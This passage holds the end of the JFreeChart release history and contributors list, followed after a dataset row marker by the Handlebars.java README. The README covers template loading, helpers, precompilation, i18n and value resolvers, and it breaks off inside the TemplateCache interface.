- numerous bug fixes;
##### Version 0.9.13 (26-Sep-2003)
- various enhancements to the stacked area XY charts;
- added a completion indicator for the Gantt chart;
- range and domain markers can now be placed in the foreground or the
background;
- more fixes for cloning and serialization;
- fixed mouse event bug for combined charts;
- fixed bugs in the PngEncoder class;
- incorporated .properties files that were missing from the 0.9.12
distribution;
##### Version 0.9.12 (11-Sep-2003)
- extended box-and-whisker plots to work with the CategoryPlot class
as well as the XYPlot class (based on work by David Browning);
- added a new LayeredBarRenderer (by Arnaud Lelievre);
- added support for stacked area charts with the XYPlot class (thanks
to Richard Atkinson);
- improved HTML image map support (thanks to Richard Atkinson);
- added localized resources for the chart property editors (thanks to
Arnaud Lelievre). Current translations include French and Portugese
(thanks to Eduardo Ramalho);
- added facility for setting all rendering hints;
- improved support for cloning and serialization;
- fixed a bug in the XYSeries class that prevented the TableXYDataset
from functioning correctly;
- improved date axis labelling with segmented time lines;
- fixed several bugs in the secondary dataset/axis/renderer code;
- fixed bugs in the JDBCCategoryDataset class;
- numerous other bug fixes;
##### Version 0.9.11 (8-Aug-2003)
- added support for box-and-whisker plots, thanks to David Browning;
- lots of bug fixes;
##### Version 0.9.10 (25-Jul-2003)
- added support for multiple secondary axes, datasets and
renderers;
- minor feature enhancements and bug fixes;
##### Version 0.9.9 (10-Jul-2003)
PLEASE NOTE THAT MAJOR CHANGES HAVE BEEN MADE IN THIS
RELEASE AND ONE OR TWO FEATURES MAY BE BROKEN. PLEASE REPORT BUGS SO THEY CAN
BE FIXED FOR THE NEXT RELEASE.
- merged the HorizontalCategoryPlot and VerticalCategoryPlot classes,
into the CategoryPlot class;
- merged the horizontal and vertical axis classes;
- merged the horizontal and vertical renderer classes;
- CategoryPlot and XYPlot now support both horizontal and vertical
orientation via the setOrientation(...) method;
- merged horizontal and vertical methods in the ChartFactory class;
- created new combined plot classes: CombinedDomainCategoryPlot,
CombinedRangeCategoryPlot, CombinedDomainXYPlot and
CombinedRangeXYPlot (these can all be drawn with a horizontal or
vertical orientation);
- Bill Kelemen has enhanced the DateAxis class to handle segmented
timelines. This can be used, for example, to skip weekends for
daily stock price charts;
- Richard Atkinson has updated the ServletUtilities class;
- Bryan Scott has added an XYDatasetTableModel class for presenting
datasets in a JTable;
- modified XYPlot to allow renderers to use multiple passes through
the dataset;
- added new XYDifferenceRenderer;
- added support for colored bands between gridlines in XYPlot;
- added new XYDrawableAnnotation class;
- added a new attribute to control the order of dataset rendering in
a CategoryPlot;
- extended the value label mechanism for the renderers, to allow
better (per series) control over label generation, positioning and
visibility;
- CategoryItemTooltipGenerator has been renamed
CategoryItemLabelGenerator, since it is now being used to generated
item labels as well as tooltips;
- there is now support for horizontal stacked 3D bar charts;
- added support for range markers against secondary axis in a
CategoryPlot;
- added labels to domain and range markers;
- added a new HistogramDataset class (contributed by Jelai Wang) to
make it easier to create histograms with JFreeChart;
- moved the DrawingSupplier into the plot class, renderers now
reference the supplier from the plot (parent plot for combined and
overlaid charts). This means that renderers now share a single
DrawingSupplier by default, which simplifies the creation of
combined charts;
- changed the ColorBarAxis classes that extended the NumberAxis class,
to a single ColorBar class that wraps a ValueAxis (may have broken
one or two things in the process);
- Barak Naveh has contributed new classes MatrixSeries and
MatrixSeriesCollection, along with demos: BubblyBubblesDemo.java
and BubblyBubblesDemo2.java;
- the TextTitle class now has a background paint attribute;
- the StandardLegend class now generates LegendEntity objects if a
ChartRenderingInfo instance is supplied to the draw(...) method;
- extended the CategoryTextAnnotation class to take into account a
category anchor point. See the SurveyResultsDemo.java application
for an example;
- included numerous bug fixes;
##### Version 0.9.8 (24-Apr-2003)
- changed package naming from com.jrefinery.* to org.jfree.*;
- added new TimePeriodValuesCollection class;
- added MIME type code to ServletUtilities class;
- reversed the order of PieDataset and KeyedValuesDataset in
the class hierarchy;
- reversed the order of CategoryDataset and KeyedValues2DDataset
in the class hierarchy;
- minor bug fixes;
##### Version 0.9.7 (11-Apr-2003)
- added a new ValueDataset interface and DefaultValueDataset
class, and changed the CompassPlot class to use this instead
of MeterDataset;
- added DataUtilities class, to support creation of Pareto
charts (new demo included);
- updated writeImageMap method as suggested by Xavier Poinsard
(see Feature Request 688079);
- implemented Serializable for most classes (this is likely to
require further testing);
- incorporated contour plot updates from David M. O'Donnell;
- added new CategoryTextAnnotation and XYLineAnnotation
classes;
- added new HorizontalCategoryAxis3D class contributed by
Klaus Rheinwald;
Bug fixes:
- added a workaround for JVM crash (a JDK bug) in pie charts
with small sections (see bug report 620031);
- fixed minor bug in HorizontalCategoryPlot constructor (see
bug report 702248);
- added code to ensure HorizontalNumberAxis3D is not drawn if
it is not visible (see bug report 702466);
- added small fix for suppressed chart change events (see bug
report 690865);
- added pieIndex parameter to tooltip and URL generators for
pie charts;
- fixed bug in getLastMillisecond() method for the Second
class and the getFirstMillisecond() method for the Year
class (picked up in JUnit tests);
- in TextTitle, changed width used for relative spacing to fix
bug 703050;
##### Version 0.9.6 (17-Feb-2003) Bug fixes:
- fixed null pointer exception in DefaultCategoryDataset;
- fixed update problem for PaintTable, StrokeTable and
ShapeTable objects;
- added methods to control colors in PiePlot (these were
inadvertantly removed in the changes made for 0.9.5);
- fixed auto-range update problem for secondary axis;
- fixed missing category labels in the overlaid category plot;
- fixed constructors for symbolic axes;
- corrected error in Javadoc generation (Ant script);
##### Version 0.9.5 (6-Feb-2003)
PLEASE NOTE THAT MAJOR CHANGES TO THE
JFREECHART API HAVE BEEN MADE IN THIS RELEASE!
- added support for secondary axes, datasets and renderers;
- added new data interfaces (Value, Values, Values2D,
KeyedValues and KeyedValues2D) and incorporated these into
the existing PieDataset and CategoryDataset interfaces.
- modified the CategoryDataset interface to be more
symmetrical, data is organised in rows and columns (as
before) but can now be accessed by row/column index or
row/column key.
- added support for reading PieDatasets and CategoryDatasets
from XML files.
- created separate packages for the axes
(com.jrefinery.chart.axis), plots (com.jrefinery.chart.plot)
and renderers (com.jrefinery.chart.renderer).
- series attributes (paint, outline paint, stroke and shape)
are now controlled by the renderer classes using lookup
tables. Introduced the DrawingSupplier interface (and
DefaultDrawingSupplier class) which is used to populate the
lookup tables from a common source (necessary to coordinate
complex combined charts).
- the chart legend can now display shapes corresponding to
series.
- moved responsibility for category distribution to the
CategoryAxis class, which tidies up the code in the
CategoryPlot classes.
- gridlines are now controlled by the CategoryPlot and XYPlot
classes, not the axes (included in this change is the
addition of gridlines for the CategoryPlot domain values).
- changed the list of titles in the JFreeChart class to a
title and a list of subtitles.
- added new renderers for XYPlot (XYBubbleRenderer and
YIntervalRenderer).
- modified Gantt chart to display sub-tasks.
- added ContourPlot class (still experimental) by David
M. O'Donnell.
- introduced new MovingAverage class.
- ChartMouseEvent now includes source chart.
- numerous bug fixes.
- lots of Javadoc updates.
##### Version 0.9.4 (18-Oct-2002)
Added a new stacked area chart (contributed by Dan
Rivett) and a compass plot (contributed by Bryan Scott). Updated
the ThermometerPlot class. Added a new XYDotRenderer for scatter
plots. Modified combined and overlaid plots to use the series colors
specified in the sub plot rather than the parent plot (this makes it
easier to align the colors in the legend). Added Regression class
for linear and power regressions. BasicTimeSeries can now
automatically drop "old" data. Some clean-up work in the code for
tooltips and the event listener mechanism. Richard Atkinson has
incorporated some useful extensions for servlets/JSP developers.
Ran Checkstyle and corrected issues reported for most classes.
Checkstyle is a free utility that you can download from:
http://checkstyle.sourceforge.net
Fixed bugs and updated documentation.
API changes include:
- added tickMarkPaint to Axis constructor (also affects
subclasses);
- added getLegendItems() to Plot, and deprecated
getLegendItemLabels();
- added getLegendItem(int) to XYItemRenderer and
CategoryItemRenderer.
- most 'protected' member variables have been changed to
'private'.
##### Version 0.9.3 (4-Sep-2002)
- Added multiple pie charts based on `CategoryDataset`;
- Updated logarithmic axes;
- Improved URL support for image map generation;
- Moved the `com.jrefinery.data` package from JCommon to JFreeChart.
- Added simple framework for chart annotations;
- Improved control over renderers;
- Duplicate x-values now allowed in `XYSeries`;
- Optional category label skipping in category axes;
- Added `CategoriesPaint` attribute to `AbstractCategoryItemRenderer`;
- Added new attributes to `MeterPlot` class;
- Updated 3D pie chart to observe start angle and direction, and also foreground alpha < 1.0;
- Improved Javadoc comments;
- New demo applications, including: `AnnotationDemo1`, `EventFrequencyDemo`, `JDBCCategoryChartDemo`, `JDBCPieChartDemo`, `JDBCXYChartDemo` and `MinMaxCategoryPlotDemo`.
Bug fixes:
- negative percentages on `PiePlot`;
- added listener notification to `setXXXAxis(...)` methods;
- fixed `DomainInfo` method name clash;
- added `DomainIsPointsInTime` flag to `TimeSeriesCollection` to give better control over auto range on axis for time series charts;
- axis margins for date axes are no longer hard-coded;
- fix for ordering of categories in `JdbcCategoryDataset`;
- added check for `null` axis in mouse click handler.
The CVS repository at SourceForge has also been restructured to match the distribution directory layout.
##### Version 0.9.2 (28-Jun-2002)
- `PiePlot` now has `startAngle` and `direction` attributes;
- added support for image map generation;
- added a new `Pie3DPlot` class;
- added label drawing code to bar renderers;
- added optional range markers to horizontal number axis;
- added bar clipping to avoid PRExceptions in bar charts;
- `JFreeChartDemo` has been modified and now includes examples of the dial and thermometer plots.
######Bug fixes
- auto range for `VerticalNumberAxis` when zero is forced to be included in the range;
- fixed null pointer exception in `StackedVerticalBarRenderer3D`;
- added get/set methods for min/max chart drawing dimensions in `ChartPanel`;
- `HorizontalIntervalBarRenderer` now handles single category;
- `verticalTickLabels` now possible in `HorizontalNumberAxis3D`;
- removed unnecessary imports;
##### Version 0.9.1 (14-Jun-2002)
Bug fixes and Javadoc updates.
- fixed auto range calculation for category plots;
- fixed event notification for `XYPlot`;
- fixed auto axis range for Gantt charts;
- check for null popup menu in `ChartPanel.mouseDragged`;
- new checks for null info in renderers;
- range markers now drawn only if in visible axis range;
##### Version 0.9.0 (7-Jun-2002)
- new plots including an area chart, a horizontal 3D bar chart, a Gantt chart
and a thermometer chart;
- combination plots have been reworked to provide a simpler framework, and
extends to allow category plots to be combined;
- there is now a facility to add a `ChartMouseListener` to the `ChartPanel`
(formerly `JFreeChartPanel`);
- an interactive zooming feature (experimental at this point) is now available
for `XYPlots`;
- a new Polish translation has been added;
- several fixes have been applied to the default tool tip generators;
- a workaround has been added to fix the alignment between time series charts
and the date axis;
- there are some improvements to the `VerticalLogarithmicAxis` class, and now a
corresponding `HorizontalLogarithmicAxis` class;
- additional demonstration applications have been added;
- fixed the popup menu bug.
##### Version 0.8.1 (5-Apr-2002)
- Localised resource bundles for French, German and Spanish languages (thanks to
Anthony Boulestreau, Thomas Meier and Hans-Jurgen Greiner for the translations);
- an area XY plot and meter chart contributed by Hari;
- symbol charts contributed by Anthony Boulestreau;
- an improved `CandleStickRenderer` class from Sylvain Vieujot;
- updated servlet code from Bryan Scott;
- `XYItemRenderers` now have a change listener mechanism and therefore do not
have to be immutable;
- additional demonstration applications for individual chart types;
- minor bug fixes.
##### Version 0.8.0 (22-Mar-2002)
- all the category plots are now controlled through the one class (`CategoryPlot`) with plug-in renderers;
- added a `ResourceBundle` for user interface items that require localisation;
- added a logarithmic axis class contributed by Mike Duffy and some new JDBC and servlet code contributed by Bryan Scott;
- updated the JCommon class library to improve handling of time periods in different time zones.
##### Version 0.7.4 (6-Mar-2002)
- bug fixes in the JCommon Class Library;
- various Javadoc comment updates;
- some minor changes to the code;
- added new domain name (http://www.object-refinery.com) in the source headers.
##### Version 0.7.3 (14-Feb-2002)
Bug fixes.
##### Version 0.7.2 (8-Feb-2002)
- integrated the `WindPlot` code from Achilleus Mantzios;
- added an optional background image for the `JFreeChart` class;
- added an optional background image for the `Plot` class;
- added alpha-transparency for the plot foreground and background;
- added new pie chart label types that show values;
- fixed a bug with the legend that results in a loop at small chart sizes;
- added some tooltip methods that were missing from the previous version;
- changed the `Insets` class on chart titles to a new `Spacer` class that will
allow for relative or absolute insets (the plan is to eventually replace all
`Insets` in the `JFreeChart` classes);
- fixed a bug in the `setAutoRangeIncludesZero` method of the `NumberAxis` class;
- added the instructions that were missing from the copies of the GNU Lesser General Public Licence included with JFreeChart.
##### Version 0.7.1 (25-Jan-2002)
- added tooltips, crosshairs and zooming functions, thanks to Jonathan Nash and Hans-Jurgen Greiner
for contributing the code that these features are based on;
- moved the combination charts into the package `com.jrefinery.chart.combination`;
- made a number of other small API changes and fixed some bugs;
- removed the Javadoc HTML from the download to save space (you can regenerate it from the source code if you need it).
##### Version 0.7.0 (11-Dec-2001)
- new combination plots developed by Bill Kelemen;
- added Wolfgang Irler's servlet demo to the standard download;
- the About window in the demo application now includes a list of developers that have contributed to the project.
##### Version 0.6.0 (27-Nov-2001)
- new plots including scatter plot, stacked bar charts and 3D bar charts;
- improved pie chart;
- data interfaces and classes moved to the JCommon class library;
- new properties to control spacing on bar charts;
- new auto-tick mechanism;
- `JFreeChartPanel` now incorporates buffering, and popup menu;
- Javadocs revised;
- fixed numerous bugs from version 0.5.6;
- demo application updated.
CONTRIBUTORS
------------
JFreeChart wouldn't be half the library that it is today without the contributions (large and small) that have been made by the developers listed below:
- Eric Alexander
- Richard Atkinson
- David Basten
- David Berry
- Chris Boek
- Zoheb Borbora
- Anthony Boulestreau
- Jeremy Bowman
- Nicolas Brodu
- Jody Brownell
- David Browning
- Soren Caspersen
- Thomas A Caswell
- Chuanhao Chiu
- Brian Cole
- Pascal Collet
- Martin Cordova
- Paolo Cova
- Greg Darke
- Mike Duffy
- Don Elliott
- Rune Fauske
- Jonathan Gabbai
- Serge V. Grachov
- Daniel Gredler
- Joao Guilherme Del Valle
- Hans-Jurgen Greiner
- Nick Guenther
- Aiman Han
- Cameron Hayne
- Martin Hoeller (xS+S)
- Jon Iles
- Wolfgang Irler
- Sergei Ivanov
- Nina Jeliazkova
- Adriaan Joubert
- Darren Jung
- Xun Kang
- Bill Kelemen
- Norbert Kiesel
- Petr Kopac
- Gideon Krause
- Dave Law;
- Pierre-Marie Le Biot
- Simon Legner
- Arnaud Lelievre
- Wolfgang Lenhard
- Leo Leung
- David Li
- Yan Liu
- Tin Luu
- Craig MacFarlane
- Achilleus Mantzios
- John Matthews
- Thomas Meier
- Jim Moore
- Jonathan Nash
- Barak Naveh
- David M. O'Donnell
- Krzysztof Paz
- Eric Penfold
- Tomer Peretz
- Xavier Poinsard
- Andrzej Porebski
- Viktor Rajewski
- Eduardo Ramalho
- Michael Rauch
- Klaus Rheinwald
- Cameron Riley
- Dan Rivett
- Lukasz Rzeszotarski
- Scott Sams
- Michel Santos
- Thierry Saura
- Patrick Schlott
- Andreas Schneider
- Christoph Schroeder
- Jean-Luc SCHWAB
- Bryan Scott
- Tobias Selb
- Darshan Shah
- Mofeed Shahin
- Michael Siemer
- Pady Srinivasan
- Greg Steckman
- Roger Studner
- Gerald Struck
- Irv Thomae
- Eric Thomas
- Rich Unger
- Daniel van Enckevort
- Laurence Vanhelsuwe
- Sylvain Vieujot
- Jelai Wang
- Mark Watson
- Alex Weber
- Richard West
- Matthew Wright
- Benoit Xhenseval
- Christian W. Zuckschwerdt
- Hari
- Sam (oldman)
It is possible that I have missed someone on this list, if that applies to you, please e-mail me.
Dave Gilbert (david.gilbert@object-refinery.com)
JFreeChart Project Leader
| 0 |
jknack/handlebars.java | Logic-less and semantic Mustache templates with Java | 2012-05-27T03:22:22Z | null | [![Become a Patreon](https://img.shields.io/badge/patreon-donate-orange.svg)](https://patreon.com/edgarespina)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.github.jknack/handlebars/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.jknack/handlebars)
[![javadoc](https://javadoc.io/badge/com.github.jknack/handlebars.svg)](https://javadoc.io/doc/com.github.jknack/handlebars)
Handlebars.java
===============
## Logic-less and semantic Mustache templates with Java
```java
Handlebars handlebars = new Handlebars();
Template template = handlebars.compileInline("Hello {{this}}!");
System.out.println(template.apply("Handlebars.java"));
```
Output:
```
Hello Handlebars.java!
```
Handlebars.java is a Java port of [handlebars](https://handlebarsjs.com/).
Handlebars provides the power necessary to let you build semantic templates effectively with no frustration.
[Mustache](https://mustache.github.io/mustache.5.html) templates are compatible with Handlebars, so you can take a [Mustache](https://mustache.github.io) template, import it into Handlebars, and start taking advantage of the extra Handlebars features.
# Requirements
- Handlebars 4.4+ requires Java 17 or higher.
- Handlebars 4.3+ requires Java 8 or higher (NOT MAINTAINED).
# Getting Started
In general, the syntax of **Handlebars** templates is a superset of [Mustache](https://mustache.github.io) templates. For basic syntax, check out the [Mustache manpage](https://mustache.github.io).
The [Handlebars.java blog](https://jknack.github.io/handlebars.java) is a good place for getting started too. Javadoc is available at [javadoc.io](https://javadoc.io/doc/com.github.jknack/handlebars).
## Maven
#### Stable version: [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.github.jknack/handlebars/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.jknack/handlebars)
```xml
<dependency>
<groupId>com.github.jknack</groupId>
<artifactId>handlebars</artifactId>
<version>${handlebars-version}</version>
</dependency>
```
### Loading templates
Templates are loaded using the ```TemplateLoader``` class. Handlebars.java provides three implementations of a ```TemplateLoader```:
* ClassPathTemplateLoader (default)
* FileTemplateLoader
* SpringTemplateLoader (see the [handlebars-springmvc](https://github.com/jknack/handlebars.java/tree/master/handlebars-springmvc) module)
This example loads ```mytemplate.hbs``` from the root of the classpath:
mytemplate.hbs:
```
Hello {{this}}!
```
```java
var handlebars = new Handlebars();
var template = handlebars.compile("mytemplate");
System.out.println(template.apply("Handlebars.java"));
```
Output:
```
Hello Handlebars.java!
```
You can specify a different ```TemplateLoader``` by:
```java
TemplateLoader loader = ...;
Handlebars handlebars = new Handlebars(loader);
```
#### Templates prefix and suffix
A ```TemplateLoader``` provides two important properties:
* ```prefix```: useful for setting a default prefix where templates are stored.
* ```suffix```: useful for setting a default suffix or file extension for your templates. Default is: ```.hbs```
Example:
```java
TemplateLoader loader = new ClassPathTemplateLoader();
loader.setPrefix("/templates");
loader.setSuffix(".html");
Handlebars handlebars = new Handlebars(loader);
Template template = handlebars.compile("mytemplate");
System.out.println(template.apply("Handlebars.java"));
```
Handlebars.java will resolve ```mytemplate``` to ```/templates/mytemplate.html``` and load it.
## The Handlebars.java Server
The handlebars.java server is small application where you can write Mustache/Handlebars template and merge them with data.
It is a useful tool for Web Designers.
Download from Maven Central:
1. Go [here](http://search.maven.org/#search%7Cga%7C1%7Chandlebars-proto)
2. Under the **Download** section click on **jar**
Maven:
```xml
<dependency>
<groupId>com.github.jknack</groupId>
<artifactId>handlebars-proto</artifactId>
<version>${current-version}</version>
</dependency>
```
Usage:
```java -jar handlebars-proto-${current-version}.jar -dir myTemplates```
Example:
**myTemplates/home.hbs**
```
<ul>
{{#items}}
{{name}}
{{/items}}
</ul>
```
**myTemplates/home.json**
```json
{
"items": [
{
"name": "Handlebars.java rocks!"
}
]
}
```
or if you prefer YAML **myTemplates/home.yml**:
```yml
items:
- name: Handlebars.java rocks!
```
### Open a browser a type:
```
http://localhost:6780/home.hbs
```
enjoy it!
### Additional options:
* -dir: set the template directory
* -prefix: set the template's prefix, default is /
* -suffix: set the template's suffix, default is .hbs
* -context: set the context's path, default is /
* -port: set port number, default is 6780
* -content-type: set the content-type header, default is text/html
### Multiple data sources per template
Sometimes you need or want to test multiple datasets over a single template, you can do that by setting a ```data``` parameter in the request URI.
Example:
```
http://localhost:6780/home.hbs?data=mytestdata
```
Please note you don't have to specify the extension file.
## Helpers
### Built-in helpers:
* **with**
* **each**
* **if**
* **unless**
* **log**
* **block**
* **partial**
* **precompile**
* **embedded**
* **i18n** and **i18nJs**
* **string helpers**
* **conditional helpers**
### with, each, if, unless:
See the [built-in helper documentation](https://handlebarsjs.com/guide/block-helpers.html).
### block and partial
Block and partial helpers work together to provide you [Template Inheritance](http://jknack.github.io/handlebars.java/reuse.html).
Usage:
```
{{#block "title"}}
...
{{/block}}
```
context: A string literal which defines the region's name.
Usage:
```
{{#partial "title"}}
...
{{/partial}}
```
context: A string literal which defines the region's name.
### precompile
Precompile a Handlebars.java template to JavaScript using handlebars.js
user.hbs
```html
Hello {{this}}!
```
home.hbs
```html
<script type="text/javascript">
{{precompile "user"}}
</script>
```
Output:
```html
<script type="text/javascript">
(function() {
var template = Handlebars.template, templates = Handlebars.templates = Handlebars.templates || {};
templates['user'] = template(function (Handlebars,depth0,helpers,partials,data) {
helpers = helpers || Handlebars.helpers;
var buffer = "", functionType="function", escapeExpression=this.escapeExpression;
buffer += "Hi ";
depth0 = typeof depth0 === functionType ? depth0() : depth0;
buffer += escapeExpression(depth0) + "!";
return buffer;});
})();
</script>
```
You can access the precompiled template with:
```js
var template = Handlebars.templates['user']
```
By default it uses: ```/handlebars-v1.3.0.js``` to compile the template. Since handlebars.java 2.x it is also possible to use handlebars.js 2.x
```java
Handlebars handlebars = new Handlebars();
handlebars.handlebarsJsFile("/handlebars-v2.0.0.js");
```
For more information have a look at the [Precompiling Templates](https://github.com/wycats/handlebars.js/) documentation.
Usage:
```
{{precompile "template" [wrapper="anonymous, amd or none"]}}
```
context: A template name. Required.
wrapper: One of "anonymous", "amd" or "none". Default is: "anonymous"
There is a [maven plugin](https://github.com/jknack/handlebars.java/tree/master/handlebars-maven-plugin) available too.
### embedded
The embedded helper allow you to "embedded" a handlebars template inside a ```<script>``` HTML tag:
user.hbs
```html
<tr>
<td>{{firstName}}</td>
<td>{{lastName}}</td>
</tr>
```
home.hbs
```html
<html>
...
{{embedded "user"}}
...
</html>
```
Output:
```html
<html>
...
<script id="user-hbs" type="text/x-handlebars">
<tr>
<td>{{firstName}}</td>
<td>{{lastName}}</td>
</tr>
</script>
...
</html>
```
Usage:
```
{{embedded "template"}}
```
context: A template name. Required.
### i18n
A helper built on top of a {@link ResourceBundle}. A {@link ResourceBundle} is the most well known mechanism for internationalization (i18n) in Java.
Usage:
```html
{{i18n "hello"}}
```
This require a ```messages.properties``` in the root of classpath.
Using a locale:
```html
{{i18n "hello" locale="es_AR"}}
```
This requires a ```messages_es_AR.properties``` in the root of classpath.
Using a different bundle:
```html
{{i18n "hello" bundle="myMessages"}}
```
This requires a ```myMessages.properties``` in the root of classpath.
Using a message format:
```html
{{i18n "hello" "Handlebars.java"}}
```
Where ```hello``` is ```Hola {0}!```, results in ```Hola Handlebars.java!```.
### i18nJs
Translate a ```ResourceBundle``` into JavaScript code. The generated code assumes you have the [I18n](https://github.com/fnando/i18n-js) in your application.
Usage:
```
{{i18nJs [locale] [bundle=messages]}}
```
If the locale argument is present it will translate that locale to JavaScript. Otherwise, it will use the default locale.
The generated code looks like this:
```javascript
<script type="text/javascript">
I18n.defaultLocale = 'es_AR';
I18n.locale = 'es_AR';
I18n.translations = I18n.translations || {};
// Spanish (Argentina)
I18n.translations['es_AR'] = {
"hello": "Hi {{arg0}}!"
}
</script>
```
Finally, it converts message patterns like: ```Hi {0}``` into ```Hi {{arg0}}```. This make possible for the [I18n](https://github.com/fnando/i18n-js) JS library to interpolate variables.
### string helpers
Functions like abbreviate, capitalize, join, dateFormat, yesno, etc., are available from [StringHelpers](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/main/java/com/github/jknack/handlebars/helper/StringHelpers.java).
> NOTE: You need to register string helpers (they are not added by default)
### conditional helpers
Functions like eq, neq, lt, gt, and, or, not, etc., are available from [ConditionalHelpers](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/main/java/com/github/jknack/handlebars/helper/ConditionalHelpers.java).
> NOTE: You need to register conditional helpers (they are not added by default)
### TypeSafe Templates
TypeSafe templates are created by extending the ```TypeSafeTemplate``` interface. For example:
```java
// 1
public static interface UserTemplate extends TypeSafeTemplate<User> {
// 2
public UserTemplate setAge(int age);
public UserTemplate setRole(String role);
}
// 3
UserTemplate userTmpl = handlebars.compileInline("{{name}} is {{age}} years old!")
.as(UserTemplate.class);
userTmpl.setAge(32);
assertEquals("Edgar is 32 years old!", userTmpl.apply(new User("Edgar")));
```
1. You extend the ```TypeSafeTemplate``` interface.
2. You add all the set method you need. The set method can returns ```void``` or ```TypeSafeTemplate``` object.
3. You create a new type safe template using the: ```as()``` method.
### Registering Helpers
There are two ways of registering helpers.
#### Using the ```Helper``` interface
```java
handlebars.registerHelper("blog", new Helper<Blog>() {
public CharSequence apply(Blog blog, Options options) {
return options.fn(blog);
}
});
```
```java
handlebars.registerHelper("blog-list", new Helper<List<Blog>>() {
public CharSequence apply(List<Blog> list, Options options) {
String ret = "<ul>";
for (Blog blog: list) {
ret += "<li>" + options.fn(blog) + "</li>";
}
return new Handlebars.SafeString(ret + "</ul>");
}
});
```
#### Using a ```HelperSource```
A helper source is any class with public methods returning an instance of a ```CharSequence```.
```java
public static? CharSequence methodName(context?, parameter*, options?) {
}
```
Where:
* A method can/can't be static
* The method's name becomes the helper's name
* Context, parameters and options are all optionals
* If context and options are present they must be the **first** and **last** arguments of the method
All these are valid definitions of helper methods:
```java
public class HelperSource {
public String blog(Blog blog, Options options) {
return options.fn(blog);
}
public static String now() {
return new Date().toString();
}
public String render(Blog context, String param0, int param1, boolean param2, Options options) {
return ...
}
}
...
handlebars.registerHelpers(new HelperSource());
```
Or, if you prefer static methods only:
```java
handlebars.registerHelpers(HelperSource.class);
```
#### With plain ```JavaScript```
That's right since ```1.1.0``` you can write helpers in JavaScript:
helpers.js:
```javascript
Handlebars.registerHelper('hello', function (context) {
return 'Hello ' + context;
})
```
```java
handlebars.registerHelpers(new File("helpers.js"));
```
Cool, isn't?
### Helper Options
#### Parameters
```java
handlebars.registerHelper("blog-list", new Helper<Blog>() {
public CharSequence apply(List<Blog> list, Options options) {
String p0 = options.param(0);
assertEquals("param0", p0);
Integer p1 = options.param(1);
assertEquals(123, p1);
...
}
});
Bean bean = new Bean();
bean.setParam1(123);
Template template = handlebars.compileInline("{{#blog-list blogs \"param0\" param1}}{{/blog-list}}");
template.apply(bean);
```
#### Default parameters
```java
handlebars.registerHelper("blog-list", new Helper<Blog>() {
public CharSequence apply(List<Blog> list, Options options) {
String p0 = options.param(0, "param0");
assertEquals("param0", p0);
Integer p1 = options.param(1, 123);
assertEquals(123, p1);
...
}
});
Template template = handlebars.compileInline("{{#blog-list blogs}}{{/blog-list}}");
```
#### Hash
```java
handlebars.registerHelper("blog-list", new Helper<Blog>() {
public CharSequence apply(List<Blog> list, Options options) {
String class = options.hash("class");
assertEquals("blog-css", class);
...
}
});
handlebars.compileInline("{{#blog-list blogs class=\"blog-css\"}}{{/blog-list}}");
```
#### Default hash
```java
handlebars.registerHelper("blog-list", new Helper<Blog>() {
public CharSequence apply(List<Blog> list, Options options) {
String class = options.hash("class", "blog-css");
assertEquals("blog-css", class);
...
}
});
handlebars.compileInline("{{#blog-list blogs}}{{/blog-list}}");
```
## Error reporting
### Syntax errors
```
file:line:column: message
evidence
^
[at file:line:column]
```
Examples:
template.hbs
```
{{value
```
```
/templates.hbs:1:8: found 'eof', expected: 'id', 'parameter', 'hash' or '}'
{{value
^
```
If a partial isn't found or if it has errors, a call stack is added:
```
/deep1.hbs:1:5: The partial '/deep2.hbs' could not be found
{{> deep2
^
at /deep1.hbs:1:10
at /deep.hbs:1:10
```
### Helper/Runtime errors
Helper or runtime errors are similar to syntax errors, except for two things:
1. The location of the problem may (or may not) be the correct one
2. The stack-trace isn't available
Examples:
Block helper:
```java
public CharSequence apply(final Object context, final Options options) throws IOException {
if (context == null) {
throw new IllegalArgumentException(
"found 'null', expected 'string'");
}
if (!(context instanceof String)) {
throw new IllegalArgumentException(
"found '" + context + "', expected 'string'");
}
...
}
```
base.hbs
```
{{#block}} {{/block}}
```
Handlebars.java reports:
```
/base.hbs:2:4: found 'null', expected 'string'
{{#block}} ... {{/block}}
```
In short, from a helper you can throw an Exception and Handlebars.java will add the filename, line, column and the evidence.
## Advanced Usage
### Extending the context stack
Let's say you need to access to the current logged-in user in every single view/page.
You can publish the current logged in user by hooking into the context-stack. See it in action:
```java
hookContextStack(Object model, Template template) {
User user = ....;// Get the logged-in user from somewhere
Map moreData = ...;
Context context = Context
.newBuilder(model)
.combine("user", user)
.combine(moreData)
.build();
template.apply(context);
context.destroy();
}
```
Where is the ```hookContextStack``` method? Well, it depends on your application architecture.
### Using the ValueResolver
By default, Handlebars.java use the JavaBean methods (i.e. public getXxx and isXxx methods) and Map as value resolvers.
You can choose a different value resolver. This section describe how to do this.
#### The JavaBeanValueResolver
Resolves values from public methods prefixed with "get/is"
```java
Context context = Context
.newBuilder(model)
.resolver(JavaBeanValueResolver.INSTANCE)
.build();
```
#### The FieldValueResolver
Resolves values from no-static fields.
```java
Context context = Context
.newBuilder(model)
.resolver(FieldValueResolver.INSTANCE)
.build();
```
#### The MapValueResolver
Resolves values from a ```java.util.Map``` objects.
```java
Context context = Context
.newBuilder(model)
.resolver(MapValueResolver.INSTANCE)
.build();
```
#### The MethodValueResolver
Resolves values from public methods.
```java
Context context = Context
.newBuilder(model)
.resolver(MethodValueResolver.INSTANCE)
.build();
```
#### The JsonNodeValueResolver
Resolves values from ```JsonNode``` objects.
```java
Context context = Context
.newBuilder(model)
.resolver(JsonNodeValueResolver.INSTANCE)
.build();
```
Available in [Jackson 1.x](https://github.com/jknack/handlebars.java/tree/master/handlebars-json) and [Jackson 2.x](https://github.com/jknack/handlebars.java/tree/master/handlebars-jackson2) modules.
#### Using multiples value resolvers
```java
Context context = Context
.newBuilder(model)
.resolver(
MapValueResolver.INSTANCE,
JavaBeanValueResolver.INSTANCE,
FieldValueResolver.INSTANCE
).build();
```
### The Cache System
The cache system is designed to provide scalability and flexibility. Here is a quick view of the ```TemplateCache``` system:
```java
public interface TemplateCache {
/**
* Remove all mappings from the cache.
*/
void clear();
/**
* Evict the mapping for this source from this cache if it is present.
*
* @param source the source whose mapping is to be removed from the cache
*/
void evict(TemplateSource source);
/**
* Return the value to which this cache maps the specified key.
*
* @param source source whose associated template is to be returned.
